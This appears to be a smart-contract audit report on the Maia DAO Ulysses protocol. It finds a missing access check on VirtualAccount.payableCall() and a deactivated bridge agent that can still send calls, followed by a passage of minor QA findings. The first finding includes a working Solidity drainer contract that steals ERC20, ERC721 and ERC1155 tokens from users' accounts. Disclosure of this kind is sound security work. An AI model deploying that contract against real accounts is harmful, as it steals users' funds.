Maia DAO - Ulysses - MrPotatoMagic's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Impact

Attacker can drain all ERC20, ERC721 and ERC1155 tokens (except native ARB) from user's Virtual Account. This is due to missing requiresApprovedCaller() modifier check on function payableCall(), which allows anyone to make external calls from user's Virtual Account. The impact here is much higher since the attacker can do this with multiple user Virtual Accounts.

Additionally, if the Virtual Account is the manager of user's router and bridge-agent pair, it would allow the attacker to make cross-chain calls from the user's account, which can have unintended consequences.

Proof of Concept

Here is the whole process:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85C1-L112C6

1. Attacker calls function payableCall() with parameter input PayableCall[] calldata calls

Struct PayableCall (from IVirtualAccount.sol):

File: IVirtualAccount.sol
13: struct PayableCall {
14:     address target;
15:     bytes callData;
16:     uint256 value;
17: }

Function payableCall():

File: VirtualAccount.sol
086:     function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
087:         uint256 valAccumulator;
088:         uint256 length = calls.length;
089:         returnData = new bytes[](length);
090:         PayableCall calldata _call;
091:         for (uint256 i = 0; i < length;) {
092:             _call = calls[i];
093:             uint256 val = _call.value;
094:             // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
095:             // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
096:             unchecked {
097:                 valAccumulator += val;
098:             }
099: 
100:             bool success;
101: 
102:             if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);
103: 
104:             if (!success) revert CallFailed();
105: 
106:             unchecked {
107:                 ++i;
108:             }
109:         }
110: 
111:         // Finally, make sure the msg.value = SUM(call[0...i].value)
112:         if (msg.value != valAccumulator) revert CallFailed();
113:     }

2. In the struct PayableCall, we can observe address target, bytes calldata and uint256 value members. Here are the values for each member in the struct for each type of token (Note: msg.value field is 0 in all):

a. ERC20 tokens (using USDC contract on Arbitrum chain as example):

address target = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831
bytes callData = abi.encodeWithSignature("transfer(address,uint256)", <Attacker's address>, <USDC balance of Virtual Account>);
uint256 value = 0 (msg.value is 0)

b. ERC721 tokens (using Arbitrum Odyssey NFT contract on Arbitrum chain as example):

address target = 0xfAe39eC09730CA0F14262A636D2d7C5539353752
bytes callData = abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", <Virtual Account address>, <Attacker's address>, <ERC721 tokenId owned by Virtual Account>);
uint256 value = 0 (msg.value is 0)

c. ERC1155 tokens (using Top ERC1155 token address on Arbitrum chain as example):

Note: Although the above ERC1155 contract address is verified and provided as the most transacted by etherscan, it is also unnamed so do not interact with it. It's only used here for example purposes.

Calldata below can also use the safeBatchTransferFrom function in case multiple ERC1155 tokens are being drained

address target = 0xF3d00A2559d84De7aC093443bcaAdA5f4eE4165C
bytes callData = abi.encodeWithSignature("safeTransferFrom(address,address,uint256,uint256,bytes)", <Virtual Account address>, <Attacker's address>, <ERC1155 tokenId owned by Virtual Account>, <Number of ERC1155 tokens to transfer>, <empty data field>);
uint256 value = 0 (msg.value is 0)

Attacker's Contract

The attacker's contract below is a representation of how the attacker can steal tokens from user's Virtual Account. The data in the functions makes use of the examples I've provided above.

• Functions starting with "attack" are used to drain funds
• Functions starting with "withdraw" are used by attacker to withdraw the drained funds from his contract

File: AttackerContract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {IVirtualAccount, PayableCall} from "./IVirtualAccount.sol";

import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract AttackerContract {

  address owner;
  IVirtualAccount virtualAccount;
  PayableCall[] params;

  constructor(address _virtualAccount) {
    virtualAccount = IVirtualAccount(_virtualAccount);
    owner = msg.sender;
  }

  function attackERC20() public {
    bytes memory data = abi.encodeWithSignature("transfer(address,uint256)", address(this), 100000);

    PayableCall memory param = PayableCall({
      target: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,
      callData: data,
      value: 0
    });

    params.push(param);

    virtualAccount.payableCall(params);
  }
  
  function attackERC721() public {
    bytes memory data = abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", virtualAccount, address(this), 10);
    
    PayableCall memory param = PayableCall({
      target: 0xfAe39eC09730CA0F14262A636D2d7C5539353752,
      callData: data,
      value: 0
    });

    params.push(param);

    virtualAccount.payableCall(params);
  }
  

  function attackERC1155() public {
    bytes memory data = abi.encodeWithSignature("safeTransferFrom(address,address,uint256,uint256,bytes)", virtualAccount, address(this), 7, 100, "");
    
    PayableCall memory param = PayableCall({
      target: 0xF3d00A2559d84De7aC093443bcaAdA5f4eE4165C,
      callData: data,
      value: 0
    });

    params.push(param);

    virtualAccount.payableCall(params);
  }

  function withdrawERC20(address _token, uint256 _amount) external onlyOwner {
      ERC20(_token).transfer(msg.sender, _amount);
  }

  function withdrawERC721(address _token, uint256 _tokenId) external onlyOwner {
      ERC721(_token).transferFrom(address(this), msg.sender, _tokenId);
  }

  function withdrawERC1155(address _token, uint256 _tokenId, uint256 _value, bytes memory _data) external onlyOwner {
      ERC1155(_token).safeTransferFrom(address(this), msg.sender, _tokenId, _value, _data);
  }

  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

}

Tools Used

Manual Review

Recommended Mitigation Steps

There are 2 solutions to this:

1. Recommended solution - Just apply the requiresApprovedCaller() modifier on function payableCall()
2. Do not allow calls to occur if msg.value == 0. This way if the function is intended to be kept public, an attacker always has to deposit some amount of ARB into the contract. Not an efficient solution though since net profit for attacker is still higher.

Solution:

File: VirtualAccount.sol
86:     function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {

Additionally, to separate functionality of functions call() and payableCall(), consider adding a require check in payableCall() to only allow calls if msg.value >= 0. Thus if no msg.value is required, user can use the call() function.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L195

Vulnerability details

Impact

Bridge agents are removed/toggled off to stop communication to/from them (confirmed by sponsor - check image below) in case of some situation such as a bug in protocol or in case of an upgrade to a newer version of the protocol (in case LayerZero decides to upgrade/migrate their messaging library)

Admin router contracts are able to disable or toggle off anybody's bridge agents due to any reasons through the removeBranchBridgeAgent() function in CoreRootRouter.sol contract. But although this toggles off the branch bridge agent in the Branch chain's BranchPort, it still allows No Deposit calls to originate from that deactivated branch bridge agent.

Proof of Concept

Here is the whole process:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L186

1. Admin in CoreRootRouter decides to remove branch bridge agent through removeBranchBridgeAgent() function

Here is the execution path of the call:

Root chain to Endpoint (EP): removeBranchBridgeAgent => callOut => _performCall => send

EP to Branch chain: receivePayload => lzReceive => lzReceiveNonBlocking => _execute => executeNoSettlement (Executor) => executeNoSettlement (Router) => _removeBranchBridgeAgent => toggleBridgeAgent (Port)

The following state change occurs in function toggleBridgeAgent():

• Line 356 - isBridgeAgent for _bridgeAgent is set to false, thus deactivating it.

File: BranchPort.sol
355:     function toggleBridgeAgent(address _bridgeAgent) external override requiresCoreRouter {
356:         isBridgeAgent[_bridgeAgent] = !isBridgeAgent[_bridgeAgent];
357: 
358:         emit BridgeAgentToggled(_bridgeAgent);
359:     }

Note: Over here there is no call made back to the root chain again which means the synced branch bridge agent is still synced in root (as shown here). But even if it is synced in Root chain, there are no checks or even state variables to track activeness (bool isActive) of branch bridge agent on the Root chain end as well. Not related to this POC but good to be aware of.

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L195

2. Now although bridge agent has been deactivated from BranchPort's state, it can still be used for no deposit calls/communication when calling function callOut(). This is because in the function callOut(), there is no check to see if it the current BranchBridgeAgent (that is deactivated) is active in the BranchPort through the modifier requiresBridgeAgent(). Now let's see how a call can occur through a deactivated branch bridge agent.

3. User calls callOut() to communicate through the branch BridgeAgent (that was deactivated):

File: BaseBranchRouter.sol
83:     function callOut(bytes calldata _params, GasParams calldata _gParams) external payable override lock {
84:         IBridgeAgent(localBridgeAgentAddress).callOut{value: msg.value}(payable(msg.sender), _params, _gParams);
85:     }

4. Here is the execution path of the call from callOut() function in BaseBranchRouter contract:

Branch chain to EP: callOut() => callOut (branch bridge agent - that was deactivated) => _performCall => send

EP to Root chain: receivePayload => lzReceive => lzReceiveNonBlocking => _execute => executeNoDeposit => execute (Router) => logic continues based on custom Router's implementation

There are few important points to note here:

1. Calls (No deposit calls) can occur through both callOut() and callOutSigned()
2. Adding the modifier requiresBridgeAgent() check is critical here communication between user's custom Branch chain to Root chain routers is still active
3. Incoming calls to lzReceive() are not fine from user's custom Root Router since that still allows no deposit router-router communication through the deactivated branch bridge agent.
4. Incoming calls to lzReceive() are fine from admin CoreRootRouter since such calls will be made to manage bridgeAgents, factories, strategy tokens and port strategies in the BranchPort.
5. Outgoing calls from function callOutSystem() are fine since the function is only used to respond back to the root chain when an incoming call from root to branch occurs to manage bridgeAgents, factories, strategy tokens and port strategies.
6. Preventing outgoing no deposit calls are important because user's custom Root Router can communicate with other chains for various purposes such as bridging of tokens from Arbitrum (Root) to another branch chains like Avalanche, Fantom and many more. This is crucial since the call for bridging between Arbitrum and Avalanche originates from a branch bridge agent that is considered inactive.

Tools Used

Manual Review

Recommended Mitigation Steps

The issues here to solve are:

1. Outgoing No deposit calls from callOut() and callOutSigned()
2. Allowing incoming calls from CoreRootRouter but not user's custom Root Router.

Solution for callOut() function (check added on Line 202 - same can be applied for callOutSigned()):

File: BranchBridgeAgent.sol
195:     function callOut(address payable _refundee, bytes calldata _params, GasParams calldata _gParams)
196:         external
197:         payable
198:         override
199:         lock
200:     {
201:         //Perform check to see if this BranchBridgeAgent is active in BranchPort
202:         require(localPortAddress.isBridgeAgent(address(this)), "Unrecognized BridgeAgent!");
203:
204:         //Encode Data for cross-chain call.
205:         bytes memory payload = abi.encodePacked(bytes1(0x01), depositNonce++, _params);
206:         
207:         //Perform Call
208:         _performCall(_refundee, payload, _gParams);
209:     }

Solution for point 2: In user's branch bridge agent, the following check should be added in Func ID 0x00 No deposit if block in the lzReceiveNonBlockingFunction.

Check added on Line 602:

File: BranchBridgeAgent.sol
598:         // DEPOSIT FLAG: 0 (No settlement)
599:         if (flag == 0x00) {
600:
601:             //Perform check to see if this BranchBridgeAgent is active in BranchPort
602:             require(localPortAddress.isBridgeAgent(address(this)), "Unrecognized BridgeAgent!");
603:
604:             // Get Settlement Nonce
605:             nonce = uint32(bytes4(_payload[PARAMS_START_SIGNED:PARAMS_TKN_START_SIGNED]));
606: 
607:             //Check if tx has already been executed
608:             if (executionState[nonce] != STATUS_READY) revert AlreadyExecutedTransaction();
609: 
610:             //Try to execute the remote request
611:             //Flag 0 - BranchBridgeAgentExecutor(bridgeAgentExecutorAddress).executeNoSettlement(localRouterAddress, _payload)
612:             _execute(
613:                 nonce,
614:                 abi.encodeWithSelector(
615:                     BranchBridgeAgentExecutor.executeNoSettlement.selector, localRouterAddress, _payload
616:                 )
617:             );

In case of the Maia administration contracts, the calls from the root chain CoreRootRouterAddress-CoreRootBridgeagent pair should not be stopped. Therefore, in the administration's corresponding CoreBranchBridgeAgent contract, do not add the above check in order to allow no deposit calls to go through.

This way when the branch bridge agent is inactive, only the Maia Administration CoreRootRouter can continue execution.

Assessed type

Error

Quality Assurance Report

Total Non-Critical issues: 36 instances across 6 issues

Total Low-severity issues: 18 instances across 8 issues

Total issues: 54 instances across 14 issues

[N-01] Missing event emission for critical state changes

There are 21 instances of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/token/ERC20hTokenRoot.sol#L39C6-L44C44

Missing event emission for state variables localChainId and factoryAddress

File: ERC20hTokenRoot.sol
31:     constructor(
32:         uint16 _localChainId,
33:         address _factoryAddress,
34:         address _rootPortAddress,
35:         string memory _name,
36:         string memory _symbol,
37:         uint8 _decimals
38:     ) ERC20(string(string.concat(_name)), string(string.concat(_symbol)), _decimals) {
39:         require(_rootPortAddress != address(0), "Root Port Address cannot be 0");
40:         require(_factoryAddress != address(0), "Factory Address cannot be 0");
41:        
42:         localChainId = _localChainId;
43:         factoryAddress = _factoryAddress;
44:         _initializeOwner(_rootPortAddress);
45:         //@audit NC - missing event emission
46:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/factories/ERC20hTokenRootFactory.sol#L34C4-L40C1

Missing event emission for state variables localChainId and rootPortAddress

File: ERC20hTokenRootFactory.sol
34:     constructor(uint16 _localChainId, address _rootPortAddress) {
35:         require(_rootPortAddress != address(0), "Root Port Address cannot be 0");
36:         localChainId = _localChainId;
37:         rootPortAddress = _rootPortAddress;
38:         _initializeOwner(msg.sender);
39:         //@audit NC - missing event emission
40:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/factories/ERC20hTokenRootFactory.sol#L49C5-L54C1

Missing event emission for state variable coreRootRouterAddress

File: ERC20hTokenRootFactory.sol
50:     function initialize(address _coreRouter) external onlyOwner {
51:         require(_coreRouter != address(0), "CoreRouter address cannot be 0");
52:         coreRootRouterAddress = _coreRouter; //@audit NC - missing event emission
53:         renounceOwnership();
54:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/factories/ERC20hTokenBranchFactory.sol#L42C5-L49C6

Missing event emission for state variables from Line 44 to 47

File: ERC20hTokenBranchFactory.sol
42:     constructor(uint16 _localChainId, address _localPortAddress, string memory _chainName, string memory _chainSymbol) {
43:         require(_localPortAddress != address(0), "Port address cannot be 0");
44:         chainName = string.concat(_chainName, " Ulysses");
45:         chainSymbol = string.concat(_chainSymbol, "-u");
46:         localChainId = _localChainId;
47:         localPortAddress = _localPortAddress;
48:         _initializeOwner(msg.sender);
49:         //@audit NC - missing event emission
50:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/factories/ERC20hTokenBranchFactory.sol#L60C1-L77C6

Missing event emission for state changes on Line 73 and 75

File: ERC20hTokenBranchFactory.sol
61:     function initialize(address _wrappedNativeTokenAddress, address _coreRouter) external onlyOwner {
62:         require(_coreRouter != address(0), "CoreRouter address cannot be 0");
63: 
64:         ERC20hTokenBranch newToken = new ERC20hTokenBranch(
65:             chainName,
66:             chainSymbol,
67:             ERC20(_wrappedNativeTokenAddress).name(),
68:             ERC20(_wrappedNativeTokenAddress).symbol(),
69:             ERC20(_wrappedNativeTokenAddress).decimals(),
70:             localPortAddress
71:         );
72: 
73:         hTokens.push(newToken);
74: 
75:         localCoreRouterAddress = _coreRouter;
76: 
77:         renounceOwnership();
78:         //@audit NC - missing event emission
79:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/factories/BranchBridgeAgentFactory.sol#L52C1-L77C6

Missing event emission for state variables from Line 70 to 75

File: BranchBridgeAgentFactory.sol
52:     constructor(
53:         uint16 _localChainId,
54:         uint16 _rootChainId,
55:         address _rootBridgeAgentFactoryAddress,
56:         address _lzEndpointAddress,
57:         address _localCoreBranchRouterAddress,
58:         address _localPortAddress,
59:         address _owner
60:     ) {
61:         require(_rootBridgeAgentFactoryAddress != address(0), "Root Bridge Agent Factory Address cannot be 0");
62:         require(
63:             _lzEndpointAddress != address(0) || _rootChainId == _localChainId,
64:             "Layerzero Endpoint Address cannot be the zero address."
65:         );
66:         require(_localCoreBranchRouterAddress != address(0), "Core Branch Router Address cannot be 0");
67:         require(_localPortAddress != address(0), "Port Address cannot be 0");
68:         require(_owner != address(0), "Owner cannot be 0");
69: 
70:         localChainId = _localChainId;
71:         rootChainId = _rootChainId;
72:         rootBridgeAgentFactoryAddress = _rootBridgeAgentFactoryAddress;
73:         lzEndpointAddress = _lzEndpointAddress;
74:         localCoreBranchRouterAddress = _localCoreBranchRouterAddress;
75:         localPortAddress = _localPortAddress;
76:         _initializeOwner(_owner);
77:         //@audit NC - missing event emission
78:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L35C1-L38C6

Missing event emission for state variables userAddress and localPortAddress

File: VirtualAccount.sol
35:     constructor(address _userAddress, address _localPortAddress) {
36:         userAddress = _userAddress;
37:         localPortAddress = _localPortAddress;
38:         //@audit NC - missing event emission
39:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L111C1-L118C6

Missing event emission for state variables on Lines 114,115,118 and 119

File: RootPort.sol
113:     constructor(uint256 _localChainId) {
114:         localChainId = _localChainId;
115:         isChainId[_localChainId] = true;
116: 
117:         _initializeOwner(msg.sender);
118:         _setup = true;
119:         _setupCore = true;
120:         //@audit NC - missing event emission
121:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L129C1-L139C6

Missing event emission for state changes from Line 136 to 141

File: RootPort.sol
132:     function initialize(address _bridgeAgentFactory, address _coreRootRouter) external onlyOwner {
133:         require(_bridgeAgentFactory != address(0), "Bridge Agent Factory cannot be 0 address.");
134:         require(_coreRootRouter != address(0), "Core Root Router cannot be 0 address.");
135:         require(_setup, "Setup ended.");
136:         _setup = false; 
137:      
138:         isBridgeAgentFactory[_bridgeAgentFactory] = true;
139:         bridgeAgentFactories.push(_bridgeAgentFactory);
140: 
141:         coreRootRouterAddress = _coreRootRouter;
142:         //@audit NC - missing event emission
143:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L147C1-L163C6

Missing event emission for state changes from Line 161 to 166

File: RootPort.sol
151:     function initializeCore(
152:         address _coreRootBridgeAgent,
153:         address _coreLocalBranchBridgeAgent,
154:         address _localBranchPortAddress
155:     ) external onlyOwner {
156:         require(_coreRootBridgeAgent != address(0), "Core Root Bridge Agent cannot be 0 address.");
157:         require(_coreLocalBranchBridgeAgent != address(0), "Core Local Branch Bridge Agent cannot be 0 address.");
158:         require(_localBranchPortAddress != address(0), "Local Branch Port Address cannot be 0 address.");
159:         require(isBridgeAgent[_coreRootBridgeAgent], "Core Bridge Agent doesn't exist.");
160:         require(_setupCore, "Core Setup ended.");
161:         _setupCore = false;
162:     
163:         coreRootBridgeAgentAddress = _coreRootBridgeAgent;
164:         localBranchPortAddress = _localBranchPortAddress;
165:         IBridgeAgent(_coreRootBridgeAgent).syncBranchBridgeAgent(_coreLocalBranchBridgeAgent, localChainId);
166:         getBridgeAgentManager[_coreRootBridgeAgent] = owner();
167:         //@audit NC - missing event emission
168:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L105C1-L122C6

Missing event emission for state changes from Line 118 to 124

File: RootBridgeAgent.sol
108:     constructor(
109:         uint16 _localChainId,
110:         address _lzEndpointAddress,
111:         address _localPortAddress,
112:         address _localRouterAddress
113:     ) {
114:         require(_lzEndpointAddress != address(0), "Layerzero Enpoint Address cannot be zero address");
115:         require(_localPortAddress != address(0), "Port Address cannot be zero address");
116:         require(_localRouterAddress != address(0), "Router Address cannot be zero address");
117: 
118:         factoryAddress = msg.sender;
119:         localChainId = _localChainId;
120:         lzEndpointAddress = _lzEndpointAddress;
121:         localPortAddress = _localPortAddress;
122:         localRouterAddress = _localRouterAddress;
123:         bridgeAgentExecutorAddress = DeployRootBridgeAgentExecutor.deploy(address(this));
124:         settlementNonce = 1;
125:         //@audit NC - missing event emission
126:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L92C1-L100C6

Missing event emission for state variables from Line 96 to 98

File: MulticallRootRouter.sol
092:     constructor(uint256 _localChainId, address _localPortAddress, address _multicallAddress) {
093:         require(_localPortAddress != address(0), "Local Port Address cannot be 0");
094:         require(_multicallAddress != address(0), "Multicall Address cannot be 0");
095: 
096:         localChainId = _localChainId;
097:         localPortAddress = _localPortAddress;
098:         multicallAddress = _multicallAddress;
099:         _initializeOwner(msg.sender);
100:         //@audit NC - missing event emission
101:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L109C1-L115C6

Missing event emission for state variables on Lines 113 and 114

File: MulticallRootRouter.sol
110:     function initialize(address _bridgeAgentAddress) external onlyOwner {
111:         require(_bridgeAgentAddress != address(0), "Bridge Agent Address cannot be 0");
112: 
113:         bridgeAgentAddress = payable(_bridgeAgentAddress);
114:         bridgeAgentExecutorAddress = IBridgeAgent(_bridgeAgentAddress).bridgeAgentExecutorAddress();
115:         renounceOwnership();
116:         //@audit NC - missing event emission
117:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L71C1-L77C6

Missing event emission for state variables on Lines 72,73 and 76

File: CoreRootRouter.sol
71:     constructor(uint256 _rootChainId, address _rootPortAddress) {
72:         rootChainId = _rootChainId;
73:         rootPortAddress = _rootPortAddress;
74: 
75:         _initializeOwner(msg.sender);
76:         _setup = true;
77:         //@audit NC - missing event emission
78:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreBranchRouter.sol#L30C1-L32C6

Missing event emission for hTokenFactoryAddress state variable

File: CoreBranchRouter.sol
30:     constructor(address _hTokenFactoryAddress) BaseBranchRouter() {
31:         hTokenFactoryAddress = _hTokenFactoryAddress;//@audit NC - missing event emission
32:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L122C1-L132C6

Missing event emission for state variables from Line 129 to 131

File: BranchPort.sol
122:     function initialize(address _coreBranchRouter, address _bridgeAgentFactory) external virtual onlyOwner {
123:         require(coreBranchRouterAddress == address(0), "Contract already initialized");
124:         require(!isBridgeAgentFactory[_bridgeAgentFactory], "Contract already initialized");
125: 
126:         require(_coreBranchRouter != address(0), "CoreBranchRouter is zero address");
127:         require(_bridgeAgentFactory != address(0), "BridgeAgentFactory is zero address");
128: 
129:         coreBranchRouterAddress = _coreBranchRouter;
130:         isBridgeAgentFactory[_bridgeAgentFactory] = true;
131:         bridgeAgentFactories.push(_bridgeAgentFactory);
132:         //@audit NC - missing event emission
133:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L319C1-L324C6

Missing event emission for state changes on lines 323, 324

File: BranchPort.sol
320:     function addBridgeAgent(address _bridgeAgent) external override requiresBridgeAgentFactory {
321:         if (isBridgeAgent[_bridgeAgent]) revert AlreadyAddedBridgeAgent();
322: 
323:         isBridgeAgent[_bridgeAgent] = true;
324:         bridgeAgents.push(_bridgeAgent); 
325:         //@audit NC - missing event emission
326:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L331C1-L335C6

Missing event emission for state variable on Line 336

File: BranchPort.sol
333:     function setCoreRouter(address _newCoreRouter) external override requiresCoreRouter {
334:         require(coreBranchRouterAddress != address(0), "CoreRouter address is zero");
335:         require(_newCoreRouter != address(0), "New CoreRouter address is zero");
336:         coreBranchRouterAddress = _newCoreRouter;
337:         //@audit NC - missing event emission
338:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L117C1-L143C6

Missing event emission for state variables from Lines 134 to 143

File: BranchBridgeAgent.sol
117:      */
118:     constructor(
119:         uint16 _rootChainId,
120:         uint16 _localChainId,
121:         address _rootBridgeAgentAddress,
122:         address _lzEndpointAddress,
123:         address _localRouterAddress,
124:         address _localPortAddress
125:     ) {
126:         require(_rootBridgeAgentAddress != address(0), "Root Bridge Agent Address cannot be the zero address.");
127:         require(
128:             _lzEndpointAddress != address(0) || _rootChainId == _localChainId,
129:             "Layerzero Endpoint Address cannot be the zero address."
130:         );
131:         require(_localRouterAddress != address(0), "Local Router Address cannot be the zero address.");
132:         require(_localPortAddress != address(0), "Local Port Address cannot be the zero address.");
133: 
134:         localChainId = _localChainId;
135:         rootChainId = _rootChainId;
136:         rootBridgeAgentAddress = _rootBridgeAgentAddress;
137:         lzEndpointAddress = _lzEndpointAddress;
138:         localRouterAddress = _localRouterAddress;
139:         localPortAddress = _localPortAddress;
140:         bridgeAgentExecutorAddress = DeployBranchBridgeAgentExecutor.deploy();
141:         depositNonce = 1;
142: 
143:         rootBridgeAgentPath = abi.encodePacked(_rootBridgeAgentAddress, address(this));
144:         //@audit NC - missing event emission
145:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L60C1-L67C6

Missing event emission for state variables from Lines 62 to 64

File: BaseBranchRouter.sol
60:     function initialize(address _localBridgeAgentAddress) external onlyOwner {
61:         require(_localBridgeAgentAddress != address(0), "Bridge Agent address cannot be 0");
62:         localBridgeAgentAddress = _localBridgeAgentAddress;
63:         localPortAddress = IBridgeAgent(_localBridgeAgentAddress).localPortAddress();
64:         bridgeAgentExecutorAddress = IBridgeAgent(_localBridgeAgentAddress).bridgeAgentExecutorAddress();
65:         //@audit NC - missing event emission
66:         renounceOwnership();
67:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L38C1-L43C6

Missing event emission for state variables on Lines 41 and 42

File: ArbitrumBranchPort.sol
38:     constructor(uint16 _localChainId, address _rootPortAddress, address _owner) BranchPort(_owner) {
39:         require(_rootPortAddress != address(0), "Root Port Address cannot be 0");
40: 
41:         localChainId = _localChainId;
42:         rootPortAddress = _rootPortAddress;
43:         //@audit NC - missing event emission
44:     }

[N-02] Avoid naming mappings with get in the beginning

Mapping names starting with "get" can be misleading since "get" is usually used for getters that do no make any state changes and only read state. Thus, if we have a statement like getTokenBalance[chainId] += amount;, it can be potentially misleading since we make state changes to a mapping which seems like a getter on first sight.

There are 2 instances of this issue (Note: Most bridgeAgent and Port contracts have this issue as well but I have not mentioned them here explicitly):

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/token/ERC20hTokenRoot.sol#L58

File: src/token/ERC20hTokenRoot.sol
58:    getTokenBalance[chainId] += amount;

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/token/ERC20hTokenRoot.sol#L70

File: src/token/ERC20hTokenRoot.sol
58:    getTokenBalance[chainId] -= amount;

[N-03] Shift ERC721 receiver import to IVirtualAccount.sol to avoid duplicating ERC721 receiver import

Shift all ERC721 and ERC1155 receiver imports to interface IVirtualAccount.sol to avoid duplicating ERC721 receiver import and ensure code maintainability.

There is 1 instance of this issue:

We can see below that both VirtualAccount.sol and IVirtualAccount.sol have imported the IERC721Receiver interface.

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L8C1-L12C1

File: src/VirtualAccount.sol
9:  import {ERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol";
10: import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
11: import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/interfaces/IVirtualAccount.sol#L4

File: src/interfaces/IVirtualAccount.sol
4: import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

[N-04] Typo error in comments

There are 9 instances of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/interfaces/IRootBridgeAgent.sol#L50C1-L51C68

Correct "singned" to "signed"

File: IRootBridgeAgent.sol
50:  *       0x04 | Call to Root Router without Deposit + singned message.
51:  *       0x05 | Call to Root Router with Deposit + singned message.

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L42C1-L44C1

Correct "core router" to "core root bridge agent"

File: RootPort.sol
43:     /// @notice The address of the core router in charge of adding new tokens to the system.
44:     address public coreRootBridgeAgentAddress;

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L60

Correct "Mapping from address to BridgeAgent" to "Mapping from chainId to IsActive (bool)"

File: RootPort.sol
61:     /// @notice Mapping from address to Bridge Agent. 
62:     mapping(uint256 chainId => bool isActive) public isChainId;

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L64

Correct "Layerzer Zero" to "LayerZero"

File: RootBridgeAgent.sol
65:     /// @notice Message Path for each connected Branch Bridge Agent as bytes for Layzer Zero interaction = localAddress + destinationAddress abi.encodePacked()

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L153

Correct the below statement to "@param _dstChainId Chain Id of the branch chain for the bridge agent to be toggled"

File: src/CoreRootRouter.sol
